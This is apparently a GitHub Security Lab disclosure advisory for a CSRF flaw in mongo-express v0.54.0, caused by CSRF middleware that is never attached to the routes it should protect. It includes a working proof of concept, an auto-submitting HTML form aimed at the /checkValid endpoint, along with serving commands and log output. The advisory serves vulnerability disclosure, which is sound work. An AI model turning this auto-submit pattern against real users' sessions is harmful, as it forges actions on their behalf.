Coordinated Disclosure Timeline

Summary

Mongo-express uses csurf middleware to protect the application against CSRF attacks. Unfortunately it does so in an incorrect way which leaves mongo-express vulnerable to the attack.

Product

mongo-express

Tested Version

v0.54.0

Details

Issue 1: Innefective protection against CSFR

Mongo-express uses csurf middleware to protect the application against CSRF attacks. Unfortunately it does so in an incorrect way which leaves mongo-express vulnerable to the attack.

The routes that need protection should add the CSRF protection handler before any other hander is executed in order to reject possible attacks from reaching critical parts of the application. Unfortunately, mongo-express does not set the handlers to any of the routes that need protection.

Impact

This issue may lead to CSRF.

Resources

To verify the vulnerability, we have provided a proof of concept that, when visited by an authenticated user, will issue a POST request automatically without the user noticing. The executed endpoint is /checkValid which should be harmless and will only execute javascript code inside a sandbox. We have chosen this endpoint specifically because it does not have destructive side effects on the application, but the vulnerability allows an attacker to issue requests to any of the exposed endpoints.

Place the following contents in a file named index.html.

<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <title>mongo-express</title>
</head>

<body>
    <form id="myform" action="http://localhost:8081/checkValid" method="POST">
        <input type="text" name="document" value='1+1' />
        <input type="submit" value="Submit" />
    </form>
    <script>
        let form = document.getElementById("myform");
        form.submit();
    </script>
</body>

</html>

Start a webserver on the same directory where the previous file was created:

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [22/Jun/2020 15:39:30] "GET / HTTP/1.1" 200 -

Browse to http://localhost, it is important that there is a logged-in user in the target mongo-express server and that the session was initiated in the same browser.

By inspecting the mongo-express console, it can be seen that the request has been made successfully.

[0] Mongo Express server listening at http://localhost:8081
[0] basicAuth credentials are "admin:pass", it is recommended you change this in your config.js!
[0] Database connected
[0] Connected to local...
[0] POST /checkValid 200 9266.321 ms - 5

Resources

Credit

This issue was discovered by the CodeQL JavaScript Team.

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-130 in any communication regarding this issue.